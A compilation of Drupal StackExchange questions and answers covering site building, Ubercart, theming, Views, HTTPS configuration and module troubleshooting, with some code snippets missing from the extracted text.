In my drupal site i like to have the location of users stored as well as the location of nodes. To store these locations i am using Geofield in combination with adressfield. Adressfield collects the postalcode. Geofield codes them in points.

Would it be better to store the locations of nodes and users apart from each other or together:

Meaning storing the user locations in one set of fields: Geo field A Postal adress A And the nodes in Geo field B and Postal adress B?

Or should i just collect both the users and nodes with one set of fields: Postal adress A and Geo field A for both users and nodes?

# Answer
> 0 votes
Other things being equal, it is better to reuse the fields. This simplifies the schema. Neither a postal address field nor a Geo field are likely to change in the future, never mind change differently for nodes and users.

---
Tags: database, entities, location
---


# Question
Title: Ubercart change product image thumbnail in cart view to a different field
When you install ubercart, there is a product image field that is used by default. The field is labeled uc\_product\_image. I decided not to use this field for different reasons, but now I notice that none of the images for products are showing in the cart as thumbnails. I found and changed the field in the views I could, but I can't find where to change it in the actual cart.

Any help on where or how to change this will appreciated.

# Answer
> 0 votes
One option would be to use form\_alter hook to change the display.

---
Tags: entities, ubercart
---


title: Matrix pricing structure for ubercart?

text:
# Question
Title: Matrix pricing structure for ubercart?
We sell hosting and domain name registrations. My problem is with the hosting where you have, for example: "Shared Hosting" with Package A and Package B. Prices are as follows:

```
|           | Package A | Package B
| 3 months  | 5 USD     | 15USD
| 6 months  | 8 USD     | 20USD
| 12 months | 14 USD    | 30USD

```

Now, I can add two attributes, one for "package type" and another for "period". So you can choose, for example, package A for 6 months. The problem is, ubercart doesnt quite work like that. It would ADD an amount, depending on what you choose, when I need fixed pricing for a specific combination. Woocommerce does this beautifully.

How do I do it with Ubercart and Drupal 7?

# Answer
If I'm understanding correctly, I'd recommend doing "Shared Hosting - Package A" as one product, and "Shared Hosting - Package B" as another, rather than a single product called "Shared Hosting" that has two attributes. (You can add the time period as a single attribute to each product.)

You can still style the matrix as you have done above (on a pricing page) and include links to purchase at the bottom of the column for each package.
> 0 votes

# Answer
You are looking for Ubercart Price List module

> Ubercart Price List this allows the site administrator to create multiple instances of price-lists and assign those to certain roles in the system. A good example is if you sell a number of products whose price changes based on quantity, but you would like to have different lists for different roles on the site.
> 0 votes

---
Tags: ubercart
---


title: Drupal CRM Core releases

text:
# Question
Title: Drupal CRM Core releases
I'd like to install CRM Core module for one of my clients. But I cannot decide which release to use - stable or development. The Recommended release (7.x-0.964) looks more confusing to me while the Development release (7.x-1.x-dev) looks more logical. But I don't know if there any risks of using Development release in production.

Could you please advise the right way to go.

Thanks in advance!

# Answer
The fact that the stable release has an unusual version number doesn't mean there is anything wrong with it.

It's just the way they are doing there releases.

If you look at all the crm core releases you can see that the first stable release was 0.9.

I would guess they have done this so that they may be able to get more people using it and fix any issues that arise before having a 1.0 release.

So 1.0 will be the next major release.

Then they use versions 0.91, 0.92, 0.93, ... as the intermediate level releases and for minor releases in between those they use numbers like 0.911, 0.912, 0.913, ....

When choosing a version of any module this would be my advice:

Use the latest stable release.

If you encounter any problems with latest stable then check the issue queue for possible fixes and if you need a patch to apply to latest dev or latest dev has already fixed the problem then try using it.

Remember though to test to make sure everything still works as it should as the dev version may have introduced new issues even though it fixed your previous issue.

Also take a database backup before updating module versions in case the newer version is broken and you need to roll back.

Another reason you might want to use dev would be if you know that there are new features in dev that you want that aren't in the latest stable.

But really, if there is a stable release (especially a recommended stable), don't use the dev version instead of the stable release unless you have a good reason to.

Unusual version numbering is not a good reason.
> 2 votes

---
Tags: 7
---


# Question
Title: How to broadcast a message to several Drupal web sites?
I have several Drupal installations and I want somehow, to send a message that would be displayed in all of them at the same time, in a block for example. The scenario could be that the server will be down for maintenance, so I want to show a message on the admin section alerting this.

My first thought is trying to use something related with RSS Feeds, but if anyone has experienced the same situation any feedback will be appreciated

# Answer
> 1 votes
There are a number of ways to accomplish this, but I wouldn't recommend using Feeds for system wide alerts because of issues with the way Feeds locally caches the source RSS based on how often or infrequently it changes. This also requires maintaining redundant content types, views, and nodes across several sites. While this could be done with a Feature, there are much simpler ways to do this.

One extremely simple option is to configure each site to with a block that embeds an iframe from a centralized messaging site that isn't even running Drupal. Update the HTML of the message and it will be shown everywhere. When you are done, update the HTML to no longer display the message. Of course this will require a layout that allows the space for the message to always be there, but empty when there is no message. Not ideal.

You could accomplish the same thing without the empty space in the layout by including an external javascript that inserts the message when the .js on a main site is updated, but that is getting less simple and could be impacted by each site's javascript aggregation and caching issues. Not ideal.

For a solution that is only slightly more complicated, but far more efficient and doesn't require any scripting knowledge, implement https://www.drupal.org/project/sharedblocks. This module allows you to define a View driven block on a the site used to generate the messages as shared and subscribe to that block on every site you'd like to display the messages. This has the added bonus of being able to configure the messages as a content type that are archived so you have a system history as well. Just add either an expiration time or a checkbox to limit the message's active state and filter the View so it returns nothing if there is no active message. The result of an empty block from the parent site on the child sites is the block isn't displayed at all so no need to deal with the space an empty iframe creates. The cache and cron settings for Shared Block are configurable.

UPDATE: Just reviewed the https://www.drupal.org/sandbox/cecrs/2340909 to be promoted to a full project. The module is currently limited to a single alert, but the alert is displayed using a block that can be shared across multiple sites. I've opened a feature request to change that to define an Alert entity, even without that Site Alert + Shared Block is a great solution.

# Answer
> 0 votes
Feeds is the way to go, they don't have to be RSS. We have had success with JSON.

On the display side, Views XML backend is a good choice if you don't want to store the notification on the target site. If you do want to store them on the target sites, Features could help bundle up a a common destination content type.

---
Tags: 7
---


# Question
Title: Notice: Undefined index: 1 in user_node_load()
I deleted the user uid 1 and successively I created another user as admin. Now appeared a number of errors like these:

```
Notice: Undefined index: 1 in user_node_load() (line 3641 of /mysite/modules/user/user.module).
Notice: Trying to get property of non-object in user_node_load() (line 3641 of /mysite/modules/user/user.module).
Notice: Undefined index: 1 in user_node_load() (line 3642 of /mysite/modules/user/user.module).
Notice: Trying to get property of non-object in user_node_load() (line 3642 of /mysite/modules/user/user.module).
Notice: Undefined index: 1 in user_node_load() (line 3643 of /mysite/modules/user/user.module).
Notice: Trying to get property of non-object in user_node_load() (line 3643 of /mysite/modules/user/user.module).
Notice: Undefined index: 1 in user_node_load() (line 3641 of /mysite/modules/user/user.module).
Notice: Trying to get property of non-object in user_node_load() (line 3641 of /mysite/user/user.module).
Notice: Undefined index: 1 in user_node_load() (line 3642 of /mysite/modules/user/user.module).
Notice: Trying to get property of non-object in user_node_load() (line 3642 of /mysite/modules/user/user.module).

```

This user.module code.

```
  // Add these values back into the node objects.
  foreach ($uids as $nid => $uid) {
    $nodes[$nid]->name = $user_fields[$uid]->name;
    $nodes[$nid]->picture = $user_fields[$uid]->picture;
    $nodes[$nid]->data = $user_fields[$uid]->data;
  }

```

Can u help me?

# Answer
> 0 votes
I have change uid to 1 of new admin user in database and all sound good.

---
Tags: 7
---


# Question
Title: Build custom module with similar maintenance mode behaviour
I'm building a custom module that denies access to the site based on some custom rule.

I;ve already build the module form, variables get stored, in hook\_init I do my check against the variables I set on my custom module.

What I would like to do now is to have a template behaviour like the maintenance mode one.

By default it should be a blank page with Site name and message like maintenance mode(maybe overriding html.tpl.php). The default mymodule-page.tpl.php should leave in mymodule/templates/

This page can be overridden in theme folder so the user can apply its own style, logo, region etc...

```
function my_custom_module_menu{
  $items['my-custom-module-page'] = array(
    'title' => t('My custom module  title'),
    'page callback' => 'my_custom_module_page_callback',
    'type' => MENU_CALLBACK,
  );
}

function my_custom_module_theme($existing, $type, $theme, $path) {
  return array(
    'my_custom_module_template' => array(
      'template' => 'my-custom-module-template',
      'variables' => array('variable' => NULL),
    ),
  );
}

function my_custom_module_page_callback() {
  return theme('my_custom_module_template');
}

```

The code above keeps the layout of the page but I would like to override the entire page.

Which hooks should I use to achieve this? How can I call this template from my hook\_init?

Thanks in advance.

# Answer
You are getting the regions being printed because your page callback is returning a string. If you want your page callback to just print your output, you need to change your code to the following one.

```
function my_custom_module_page_callback() {
  print theme('my_custom_module_template');
}

```

The reason is visible in `drupal_deliver_html_page()`, which uses the following code.

// Menu status constants are integers; page content is a string or array. if (is\_int($page\_callback\_result)) { // Omissis } elseif (isset($page\_callback\_result)) { // Print anything besides a menu constant, assuming it's not NULL or // undefined. print drupal\_render\_page($page\_callback\_result); }

If your page callback returns `NULL` (which also happens when it doesn't have an explicit `return` statement), then `drupal_render_page()` will not be called. As result, just the output from your page callback will be returned to the browser.

This is what `node_feed()` does: It prints an RSS feed without letting Drupal output anything else. Contrary, the output would not be handled as a RSS feed from the client side.
> 1 votes

---
Tags: 7, theming, hooks
---


# Question
Title: I am creating my own shortcut bar but can't manage the user access
I am creating a shortcut bar something like below, but unfortuntly it show up despite my wish that I could hide it for anonymous and administrator users/role. I want to display it for editor roles only. How do I achieve this? Thanks

```
function shortcat_permission() {
  return array(
    'administer shortcat' => array(
      'title' => t('Administer shortcats'),
      'restrict access' => TRUE,
    ),
  );
}

function shortcat_page_alter(&$page) {
       $page['page_top']['#pre_render'][] = 'shortcat_toolbar_pre_render';
   }

function shortcat_renderables() {

  $shortcut_set = array();
  $shortcut_set['my_list'][] = array("#markup" =>"<ul>");
  $shortcut_set['my_list'][] = array("#markup" =>"<li><a href='node/add' class='shlinks'>".t('Add Content')."</a></li>");
  $shortcut_set['my_list'][] = array("#markup" =>"<li><a href='admin/content' class='shlinks'>".t('Find Content')."</li>");
  $shortcut_set['my_list'][] = array("#markup" =>"</ul>");
  return $shortcut_set;
}

function shortcat_toolbar_pre_render() {
  $links = shortcat_renderables();

  $links['#attached'] = array('css' => array(drupal_get_path('module', 'shortcat') . '/shortcat.css'));
  $links['#prefix'] = '<div class="toolbar-shortcats">';
  $links['#suffix'] = '</div>';

  return $links;
}

```

I know you can make use of:

```
global $user;
  if ($user->uid)  {
display it here...
{

```

but this won't make the user access right accesible in People \> Permissions

# Answer
Since you're defining a permission you can make use of the `user_access()` function to check that the user is allowed to access the shortcut menu. You can actually then use the `#access` key on your render array to denote whether or not it should be shown:

```
function shortcat_toolbar_pre_render() {
  $links = shortcat_renderables();

  $links['#attached'] = array('css' => array(drupal_get_path('module', 'shortcat') . '/shortcat.css'));
  $links['#prefix'] = '<div class="toolbar-shortcats">';
  $links['#suffix'] = '</div>';

  $links['#access'] = user_access('administer shortcat');

  return $links;
}

```

That code will deny access for anyone who doesn't have the `administer shortcat` permission. All you need to do is make sure the permission is ticked for the editor role in the admin permissions page.

It's worth bearing in mind that `user_access()` wil always return `TRUE` if you are logged in as the super user (ID:1). If you need this to be different then the easiest way would be to check that the user physically has the `editor` role assigned to their account:

```
global $user;
if (!in_array('edit', $user->roles)) {
  $links['#access'] = FALSE;
}

```

Hope that helps.
> 1 votes

# Answer
I got similar functionality by using the Shortcuts Per Role module, permissions, tweaking of the theme's page.tpl.php file and a little jQuery.

I wanted to have the stock shortcut bar visible for a few roles with shortcut sets assigned by role, but I only wanted the administrative toolbar visible for the administrator role. I set the permissions for the roles I wanted to have the shortcut bar to be able to "Use the administration toolbar", created shortcut sets and assigned them in the Shortcuts Per Role settings.

In my theme's page.tpl.php file, I added the following snippet to pass the current user's roles to be used in my js. Replace 'path to js file' with the actual path to your js file.

```
drupal_add_js(array('Theme' => array('role' => $GLOBALS['user']->roles)), 'setting');

drupal_add_js(drupal_get_path('theme', 'Theme') . 'path to js file', 'file');

```

In my theme's js file, I added the following code:

```
Drupal.behaviors.Theme = {
    attach: function (context, settings) {
      var roleArr = Drupal.settings.Theme.role;
      var isAdmin = false;
      for (role in roleArr) {
        if (roleArr[role] == 'administrator') {
            isAdmin = true;
        }
      }
      if (isAdmin == false) {
        $('.toolbar-menu').remove();
      }
    }
};

```

This basically just removes the admin toolbar unless the logged in user is an administrator and leaves the shortcut bar intact.
> 1 votes

---
Tags: 7
---


# Question
Title: Are there any advantages or issues with using a Google Analytics CDN app with the GA module?
I'm considering using Cloudflare with my Drupal 7 site.

I see that Cloudflare offers a Google Analytics app: https://www.cloudflare.com/apps/google\_analytics

I already have the Google Analytics module installed and configured on my site.

Are there any advantages to using both a CDN Google Analytics app and the drupal module at the same time?

# Answer
CloudFlare acts as a reverse proxy and a CDN. So it can change the HTML output of your Drupal site. If your site has no Analytics script, it can add the code for you. That's for the convenience only. You are still using same Google Analytics.

**For Performance**

I would avoid GA module if there is a custom module that already has a hook\_page\_build or hook\_page\_alter hook. I'm more of a developer so I feel like the GA is an unnecessary load when I could include it in a custom module.

**For Easy integration with precise tracking**

With GA module, you can expose custom variables to GA, have per-path, per-role, and other contextual tracking, and also cache the snippet (This is actually a bad step IMHO because ga.js snippet is usually cached in the browser from your site or from some other site that uses GA).

If you don't have access to edit the modules, or would prefer to use the contrib, GA module would be better.

**For the easiest integration with blind tracking**

Use CloudFlare. They are a really good service (I took part in a CloudFlare guide ebook too), and responded quickly to the recent core SQL injection vulnerability. If you don't care about precising tracking, I would use CloudFlare.
> 1 votes

---
Tags: google-analytics
---


title: Theming of User page

text:
# Question
Title: Theming of User page
I want to do theming of default user login page.

Can we create a page similar like **page--node--33.tpl.php**.

# Answer
> 0 votes
**Customizing and Overriding User Login page, Register, and Password Reset in Drupal 6 and 7**

Customizing the user login, register, and password reset pages is fairly simple, and uses the following concepts:

```
preprocessing to set variables
registration of functions in the theme registry
creation of one or more theme templates.

```

Step 1. In the site theme directory, create or edit your template.php file.

Step 2. The first step is to implement hook\_theme for your theme. In the template.php file for your theme, look for a function named yourtheme\_theme() and modify it to add these return values. If the function doesn't exist, add the following:

For D6:

```
<?php
/**
 * Registers overrides for various functions.
 *
 * In this case, overrides three user functions
 */
function yourtheme_theme() {
  return array(
    'user_login' => array(
      'template' => 'user-login',
      'arguments' => array('form' => NULL),
    ),
    'user_register' => array(
      'template' => 'user-register',
      'arguments' => array('form' => NULL),
    ),
    'user_pass' => array(
      'template' => 'user-pass',
      'arguments' => array('form' => NULL),
    ),
  );
}
?>

```

Notes about that code:

```
Change the function name by replacing "yourtheme" with the name of your theme
The template can be the same for all three. The example above uses a different template for each case: user-login, user-register, and user-pass
The template names must use a dash, not an underscore
Note: It's user_pass not user_password

```

For D7:

```
<?php
function yourtheme_theme() {
  $items = array();

  $items['user_login'] = array(
    'render element' => 'form',
    'path' => drupal_get_path('theme', 'yourtheme') . '/templates',
    'template' => 'user-login',
    'preprocess functions' => array(
       'yourtheme_preprocess_user_login'
    ),
  );
  $items['user_register_form'] = array(
    'render element' => 'form',
    'path' => drupal_get_path('theme', 'yourtheme') . '/templates',
    'template' => 'user-register-form',
    'preprocess functions' => array(
      'yourtheme_preprocess_user_register_form'
    ),
  );
  $items['user_pass'] = array(
    'render element' => 'form',
    'path' => drupal_get_path('theme', 'yourtheme') . '/templates',
    'template' => 'user-pass',
    'preprocess functions' => array(
      'yourtheme_preprocess_user_pass'
    ),
  );
  return $items;
}
?>

```

Notes about the D7 version:

```
The 'path' lines tell Drupal where to find the .tpl.php files. This is optional, and in the code above, 'path' tells Drupal to find the files in the templates subdirectory of the theme's base directory.
Note the "_form" added to the user_register element.
Note: As it is the case for D6, it's user_pass not user_password

```

Step 3. Now you implement three preprocess functions. There may be more concise ways to code this, but this works very well and is easy to read, so here we go!

For D6:

Notes about that code:

```
Change the function name by replacing "yourtheme" with the name of your theme
The line $variables['intro_text'] adds the text that follows to the $variables array, which gets passed to the template as $intro_text
The second line renders the form and adds that code to the $variables array, which gets passed to the template as $rendered

```

For D7: The code is even simpler for D7 because we don't need to pass a variable containing the form content we want rendered. The variable exists already in the $vars array and can be rendered in the .tpl.php file.

The above preprocess functions simply add a variable into the $vars array that is then displayed in the .tpl.php file. Much more complex manipulation of the content of the render array is possible.

Please note, that the preprocess functions should go into the template.php file.

Step 4. Create template files to match the 'template' values defined above.

For D6 We need the following template files (make sure to use a dash, not an underscore) :

```
user-login.tpl.php
user-register.tpl.php
user-pass.tpl.php

```

For D7 Same as D6, except using user-register-form.tpl.php instead of user-register.tpl.phpfor the register form.

Step 5. Paste the following into user-login.tpl.php. Modify as necessary for user-register.tpl.php (D6) and user-register-form.tpl.php (D7):

For D6:

For D7:

Note the change to the syntax for causing Drupal to render the form. Also, the D7 sample uses a different class for the div, but that's just a matter of preference.

Step 6. Save your template.php file to the theme's main directory. Save your .tpl.php files in the same place for the D6 examples, or, in the case of the D7 examples, to the directory you specify in the 'path' element of the $items array.

Step 7. Rebuild the cache. Go to Administration \> Performance and click on "Rebuild Cache" on the bottom of the page.

Now, the user login page will contain the new text from the preprocess function, and the tpl.php file(s) can be modified to suit the site's needs.

reference : Customizing and Overriding User Login page, Register, and Password Reset in Drupal 6 and 7

# Answer
> 0 votes
In *answer* to your question :

**Yes** \- you can create the page template **page--user--login.tpl.php**

This will be used at yourdomain.com/user/login

The most important thing to have in this page is the login form

```
<?php

print drupal_render(drupal_get_form('user_login'));

?>

```

@heykarthikwithu answer is for customising the *login form* etc *not* the page. But perhaps that is what you wanted.

---
Tags: 7, theming
---


title: display just the label from node_lode()

text:
# Question
Title: display just the label from node_lode()
How to display just the label from the object returned by the function node\_load(). the field\_view\_field() can hide the label and view the value but i want the converse.

# Answer
> 3 votes
If you want to find the label for a specific field then you can use field\_info\_instance()

https://api.drupal.org/api/drupal/modules!field!field.info.inc/function/field\_info\_instance/7

```
<?php
$field_instance = field_info_instance('node', 'field_body', 'article');
$label = $field_instance['label'];
?>

```

However, the titles are available in the rendered node if they are not hidden in your view mode, and can accessed like :

```
<?php
$node  = node_view(node_load($nid));
$label = $node['field_body']['#title'];
?>

```

---
Tags: entities
---


title: Upload images in external server

text:
# Question
Title: Upload images in external server
I work between two servers, and I use one for development and the other for deployment. It’s very easy because I can tell the development one to use the database of the deployment sometimes. What I can't do is upload the images to a third service so both the sites will see the same images. Do you know any workflow in which this is possible? Are there any modules that allow you to upload images to an external service?

# Answer
> 3 votes
In my one of my setups I have a main server and a backup server. They are separate small virtual machines on different physical boxes. The entire Drupal install including file uploads is copied over from the main server to the backup server using rsync.

Rsync is an excellent command line \*nix tool for copying, syncing files both locally and remotely. There are many configurations you can use. You can then configure a cron job to run it every so often. Here is one of the hundreds of threads

https://unix.stackexchange.com/questions/67539/how-to-rsync-only-new-files

In your case you could just rsync over the /sites/default/files folder. Just one solution to your problem, but there are many.

Other Drupal module soltions using 3rd party services (like you suggested) are Media mover, CDN and Storage API, all take a bit of configuring but worth it.

---
Tags: media, files, cdn, database
---


# Question
Title: Drupal admin area and login, Securing them with HTTPS
I've been reading a lot about this and trying many of the methods I've found and haven't yet been able to get anything working properly.

I want to be able to secure the admin area and associated login pages. So anything in example.com/admin/\* or example.com/user/\* etc, needs to go over SSL/TLS. We'd like this to apply to each site withing the multisite setup. So example1.com, example2.com, example3.com are all on the same server/user account.

**The Setup**

* Drupal 7 multi site
* Clean URLs enabled
* PHP 5.3
* MySQL v14 d5
* Apache2

*Notes*

* Securepages is not an option, as there's no stable Drupal 7 release, and using the existing dev version requires patching Drupal Core, which goes against our policy
* Have tried Session 443 with no success
* Have tried Secure Login with no success
* An SSL cert (a self-signed one for now, while testing) is installed and works on the server for other purposes, just not Drupal.
* I've read all the docs on Drupal.org about enabling HTTPS and have attempted to follow the directions there with little success
* I've toggled the $conf\['https'\] setting in settings.php with no discernable results.

**The Questions**

If I enable HTTPS for everything on a site, I get a 404 for anything attempting to go through https://, which leads me to think that the rewrite rules aren't applying for the https pages. What am I missing here? Is there a rewrite condition/rule I can add to htaccess to fix this?

Is this not a solved problem in the Drupal community? Are people just leaving their admin areas unsecured, with user passwords being sent in the clear? I find this hard to believe, yet it seems that there's no built-in or commonly known solution to the problem.

# Answer
It's not the question you asked, but the simplest answer is you should just change your policy.

"Hacking" core (patching it) and running unstable releases is reality of running a website.

The two patches needed for securepages frequently need re-rolls, reviews, or improvements. Get involved in that cycle and help get them stable.
> 4 votes

# Answer
I used the following settings pull this off... and didn't need a module to do it. 1) httpd.conf

```
#APACHE stuff...
Listen 443
NameVirtualHost *:443
Include conf.d/vhosts/*.conf #Need this for multi-site and subdomains

<IfModule mod_header.c>
#enable HSTS
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
</IfModule>

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

```

2) conf.d/vhosts/site1.conf

```
<VirtualHost *:443>
#APACHE stuff...
SSLEngine on
RewriteCond %{HTTP_HOST} !^www\. [NC] #Force www... be careful with subdomains
RewriteRule ^ https://www.%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>

```

3) settings.php

```
$base_url = 'https://www.example.com';  // NO trailing slash!

```

And voooala!! this will make all http traffic travel over https including resources like js and css. If you want subdomains, be sure to add the appropriate ServerAlias directives in the vhosts file(s).
> 0 votes

# Answer
I use the Ubercart SSL module which is a fantastic module, though it is horribly *named*. You do ***not*** *need to be running Ubercart* to take advantage of this module which is very stable and easy to use.
> 0 votes

---
Tags: users, security, ssl
---


# Question
Title: How to remove Page cached by boost message in view source
I installed Boost and the page cached by boost will have a line of message at the bottom of view-source.

```
<!-- Page cached by Boost @ 2014-11-08 14:04:46, expires @ 2014-11-09 14:04:46, lifetime 1 day -->

```

How to remove the above line?

# Answer
This is not possible in the 7.x-1.x version of the module (unless you patch the code). You should file a feature request in the Boost issue queue.

If you want to temporarily patch the code, open the file boost.module, around line 1145:

```
  $types['text/html'] = array(
    'title'           => t('HTML'),
    'description'     => t('HTML output, usually a webpage'),
    'extension'       => 'html',
    'enabled'         => TRUE,
    'gzip'            => TRUE,
    'lifetime_max'    => 3600,
    'lifetime_min'    => 0,
    'comment_start'  => NULL, // <--- set to null
    'comment_end'    => NULL, // <--- this too
    'variants'        => array(),
  );

```

If you would like to contribute a patch, which would be greatly appreciated, the right way to do this would be to modify the boost\_exit() function, around line 315:

```
  // Add note to bottom of content if possible.
  if ($_boost['matched_header_info']['comment_start'] && $_boost['matched_header_info']['comment_end'] && $_boost['matched_header_info']['comment_footer_enabled']) {
    $expire = $_boost['matched_header_info']['lifetime_max'];
    $cached_at = date('Y-m-d H:i:s', REQUEST_TIME);
    $expires_at = date('Y-m-d H:i:s', REQUEST_TIME + $expire);
    $note = "\n" . $_boost['matched_header_info']['comment_start'] . 'Page cached by Boost @ ' . $cached_at . ', expires @ ' . $expires_at . ', lifetime ' . format_interval($expire) . $_boost['matched_header_info']['comment_end'];
    $data .= $note;
  }

```

You would also have to set the default (TRUE) in boost\_boost\_storage\_types(), and to the `$keys` in `boost_get_storage_types()` so that it does the `variable_get()`. Bonus points for also exposing it to the admin interface.
> 2 votes

---
Tags: 7, caching
---


title: Allow users to moderate taxonomy terms

text:
# Question
Title: Allow users to moderate taxonomy terms
Is there a way to allow users to moderate nodes and their comments by taxonomy terms? And also allow other moderators to add users to to that term as well? It seems that the standard roles aren't granular enough. I don't want users assigned to a "moderator" role to be able to moderate ALL nodes and comments, just those within a particular taxonomy term.

Basically allowing each term to be a "discussion board" where a group of users are the moderators of that term. Similar to how Reddit works.

Thanks

# Answer
> 0 votes
Taxonomy Access Control \- access control for user roles based on taxonomy categories (vocabulary, terms).

* Automatically controls access to nodes (based on their taxonomy terms).
* Configuration page for each user role.
* Three node access permission types: View, Update, Delete.
* Two term access types: View tag, Add tag.

# Answer
> 0 votes
Organic groups is another possibility that is more focussed on the people instead of categories.

---
Tags: 7, taxonomy-terms
---


title: fatal error on a drupal site

text:
# Question
Title: fatal error on a drupal site
I have a site based on drupal. Few weeks back an error appeared on our site

> Fatal error: Cannot redeclare file\_entity\_file\_presave() (previously declared in /home/newprofi/public\_html/new/sites/default/modules/file\_entity/file\_entity.module:177) in /home/newprofi/public\_html/new/sites/default/modules/file\_entity/file\_entity.file.inc on line 37

it happened after an upgrade that distorted our theme, and only restoring could have saved that.

i tried to find duplicates of that module, but there is nothing on our servers. Is there anything else i could do to fix that?

Thanks, Noam

# Answer
I had seen similar error in the past and I followed these steps which worked for me:

1. Manually disable the module in db
2. Clear the cache
3. Re-enable the module
> 1 votes

---
Tags: files
---


title: how do I delete a project release node

text:
# Question
Title: how do I delete a project release node
I accidentally created a stable release for a module instead of dev. So now how do I delete the stable release node on drupal.org

# Answer
> 0 votes
Usually you can file an issue for webmaster to delete the nodes. But in this case they usually don't delete release node and only option is to create new release.

check: https://www.drupal.org/node/128614

---
Tags: 7
---


# Question
Title: Exposed filter for data and select field
I spent all weekend trying to make this work, and couldn't figure it out.

How do I create a views exposed filter for date and a text list on a given node?

My setup - I have a view that is exposed as JSON with a task\_name field, a date field, and a status field.

I have the date module installed in both Drupalgap as well as Drupal, and I'm able to get that to display correctly.

I've tried creating a select list for day, month and a year, as well as task status, and this seems clunky (four select lists takes up quite a bit of room - and I can't figure out how to collapse them - perhaps some sort of "collapse format"?)

But even if I do create them, there seems to be no way to have an interaction between them and the view content object. I tried grabbing the values of the select lists from the path of the views object, but there seems to be no way to do that.

My views code looks like this, almost an exact copy of the beer example:

```
function task_list_page() {
  try {
    var content = {};
    content['task-list'] = {
      theme: 'view',
      format: 'ul',
      path: 'tasks.json',
      row_callback: 'task_list_page_row',
      empty_callback: 'task_list_page_empty'
    };
    return content;
  }
  catch (error) { console.log('task_list_page - ' + error); }
}

```

What would I do to this to create an exposed filter for date and status, both of which are columns in the view? How would I make this filter compact and perhaps collapsible?

# Answer
According to the docs here drupalgap.org/node/498 the filter should be added to your app when you create it in your view and then publish it. If those instructions do not work to create a simple filter, I suggest raising and issue over there.

As to Date filtering, I expect that only the select list exposed form items will transfer to your app out-of-the-box. If you want some custom UI elements such as jQuery mobile date picker to match the rest of your app UI, you will have to use a text field in the views exposed filter then edit the code on you app to call the UI element.

A lot of the time with similar things, I end up creating icon links in the header that act like filters and sorters e.g.

```
<?php
print l("<i class='icon icon-cancel-circled'></i>", "my/view", array('html' => TRUE, 'query' => array('sort_by' => 'created', 'sort_order' => 'ASC')));
?>

```

This makes an arrow up icon link (if you're implementing icons somehow) which will go to the view sorted by "created" "ascending".

Having an exposed filters form in an app is often too much for a small screen when a few icons will do, and this should transfer to your app in the header ok.
> 0 votes

---
Tags: views, javascript
---


title: Record image details for each image

text:
# Question
Title: Record image details for each image
I wonder if someone could tell me how to add details for each image I have for my content on my Drupal 7.32 website (say title and description). For Example, I have a Content Type called Info, this has an image field which can have an unlimited number of images. When I upload the image I would like to also add details about the image. I remember seeing a Module that will allow that, but Ive been googling and I cant find it now. If this is not possible then I guess I will have to link the Image to another node and add the detail there. If you take a look at my About Us page on my website (http://www.caerleonlodgehillprimary.org/about-us), it has 3 images at the bottom, I would like to be able to show a title under each one, maybe some description too.

# Answer
> 1 votes
If you are customizing your theme and creating your own template files then this will help you. This module can solve your problem for adding description for particular image. https://www.drupal.org/project/image\_field\_caption Just follow the installation guidelines and install it. For title, just go to content type-\>edit link of image and then look for enable title field and enable that. Yeah , you need to play a bit of with your codes, need to fetch data for title and description. Thanks

---
Tags: media
---


# Question
Title: How to convert the Drupal View Query to MySQL query?
There are some views in my site. I have configure the setting to fetch the Views query. I want to convert those query to MySQL query to run & getting the result directly.

How can I do this?

# Answer
Try the Views Show Query module

> This module shows real SQL query in Views UI during live preview.
>
> 'Real query' means it is rewritten by query\_alter hooks. For instance, node access checks are added, so this requires selecting the user on behalf of which the query is supposed to be executed. So the module adds 'User ID to show final query' field in views preview form. You must enter numeric user ID in this field to view the real SQL query.
>
> This module makes it possible to show SQL query not only during live preview, but when the view is executed normally. You can add footer to the view with the following PHP code:

```
<?php
$rows = array();
$view->exposed_input['views_show_query_uid'] = 1;
views_show_query_views_preview_info_alter($rows, $view);
drupal_set_message($rows['query'][0]);
?>

```

OR

There another module called Query Coder which Convert SQL query to Drupal Database abstraction layer code.
> 6 votes

# Answer
Also worth mentioning, just in case you didn't know, Views will show you the SQL that it generates and uses if you turn on its visibility in the views settings page

* go to /admin/structure/views/settings
* Check - Show information and statistics about the view during live preview
* Check - Show the SQL query

However, this is query can be seriously complex if you have lots of relationships and contextual filters. The other modules recommended by @KrishnaMohan make it a lot more digestible. But it is something that it does natively.
> 0 votes

---
Tags: 7, views
---


# Question
Title: Proper way to display custom line item fields on checkout form
Is there any proper way to display custom line item fields on checkout form?

I know that I can add each custom field one by one into views but it's complicated when I have few line items with dozen conditional fields and you need always to remember about it.

I found out that I can add to checkout view "Rendered Commerce Line item", formatter: "render complete entity" and choose necessary fields by adding custom view mode by hook\_entity\_info\_alter. That's great with one little problem. It's always rendering number before my fields (it's line item id?).

Is there any way to get rid of that number (maybe altering some hook?) or other way to list out all line item fields?

# Answer
> 0 votes
Solution to this problem is to create custom `entity.tpl` (Theme developer can suggest filename) and remove printing out entity title.

---
Tags: views, commerce
---


title: Edit log out link

text:
# Question
Title: Edit log out link
I have a Log out link in a menu which is pointed to user/logout. I'm trying to edit the name "Log out" to something else like "Sign out". How can I do that?

# Answer
> 2 votes
You could use the String Overrides module to globally change "Log out" to "Sign out".

# Answer
> 2 votes
If you are going the route of changing "log out" to "sign out" globally, you can achieve that without adding a module. Look near the bottom of settings.php for the string overrides section. There are instructions there and examples.

---
Tags: navigation
---


title: Ctools nested modals

text:
# Question
Title: Ctools nested modals
I am familiar using ctools and modal forms. But now I have to implement multiple nested modal forms. I have a link "Edit contact", this opens a modal form. At the top of the form I have another link "Delete contact", which opens a second modal form which asks the user if he/she is sure if he/she wants to delete the contact.

The response of the first modal form (as expected) is in JSON format: This works nice and easy.

When I click "Delete contact" (second modal form), the response is HTML:

Because of this reponse I get following error:

Help? :)

# Answer
> 1 votes
I think you need to create your own ajax handler for this. The idea would be to check if an existing modal exists and rather than add a new one, simply run a replace in your existing one. If non exists, you'd need to setup a new modal.

The other approach you can take, is rather than just forcing it to opena new one, send an ajax request to close the existing one and then present the new one.

Either way, I do not believe there is an easy or straight solution for this particular problem.

# Answer
> 0 votes
Try updating ctools module to latest development release.

---
Tags: javascript, chaos-tool-suite
---


# Question
Title: Custom fields in User registration, how to save?
I thought that I needed to, in my submit handler function, call user\_save() to save my user profile data. But when I call user\_save I get duplicate entry errors because it appears user\_save is being called twice.

